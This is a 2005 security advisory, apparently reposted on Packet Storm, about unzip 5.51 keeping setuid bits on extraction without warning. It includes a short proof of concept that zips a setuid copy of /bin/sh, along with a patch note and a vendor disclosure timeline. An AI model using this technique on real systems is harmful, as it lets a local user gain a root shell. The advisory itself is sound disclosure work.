exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

7a69ezine Advisory 22

7a69ezine Advisory 22
Posted Feb 28, 2005
Authored by 7a69ezine | Site 7a69ezine.org

7a69ezine Advisory - unzip will extract setuid files from an archive without warning a user when doing so. This is probably a poor design flaw but not necessarily unexpected.

tags | advisory
SHA-256 | 1981687fe5c134656a0f5955327324772c0eee91afb2f0243da5051cb6ba2c0f

7a69ezine Advisory 22

Change Mirror Download
- ------------------------------------------------------------------
7a69ezine Advisories 7a69Adv#22
- ------------------------------------------------------------------
http://www.7a69ezine.org [26/01/2005]
- ------------------------------------------------------------------

Title: Unzip keep setuid and setgid files

Author: Albert Puigsech Galicia - <ripe@7a69ezine.org>

Software: Unzip

Versions: >= 5.51

Remote: No

Exploit: yes

Severity: Low/Medium

- ------------------------------------------------------------------



I. Introduction.

UnZip is an extraction utility for archives compressed in .zip format. It's
compatible with PKWARE's PKZIP and PKUNZIP utilities for MS-DOS. The primary
objectives have been portability and non-MSDOS fuctionality. More info about
unzip on http://www.info-zip.org/pub/infozip/UnZip.html.



II. Description.

The unzip UNIX functionality allow you to maintain file permisions into
compressed files, and of course that includes the setuid bit. Because it does
not show a warning message before unpacking a setuid file is posible to create
a malicious ZIP file that creates an executable setuid.



III. Exploit

It's realy easy to test this vulnerability. You can create a malicious ZIP
file following this example:

$ cp /bin/sh .
$ chmod 4777 sh
$ zip malicious.zip sh


When another user (including root) unpacks the file, a setuid shell file will
be created without any warning, as you can see here:

# id
# unzip malicious.zip
Archive: malicious.zip
inflating: sh
# ls -l sh
-rwsrwxrwx 1 root root 705148 Jan 16 17:04 sh


Of course ye need a local account on the system to execute the file, so it's
not a remote vulnerability.




IV. Patch

Upgrade to unzip 5.52.


V. Timeline

12/01/2005 - Bug discovered
16/01/2005 - Vendor contacted
21/01/2005 - Vendor response
25/01/2005 - Vendor patch provided
28/02/2005 - New versiĆ³n published
28/02/2005 - Advisor published



VI. Extra data

You can find more 7a69ezine advisories on this following link:

http://www.7a69ezine.org/avisos/propios [spanish info]
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close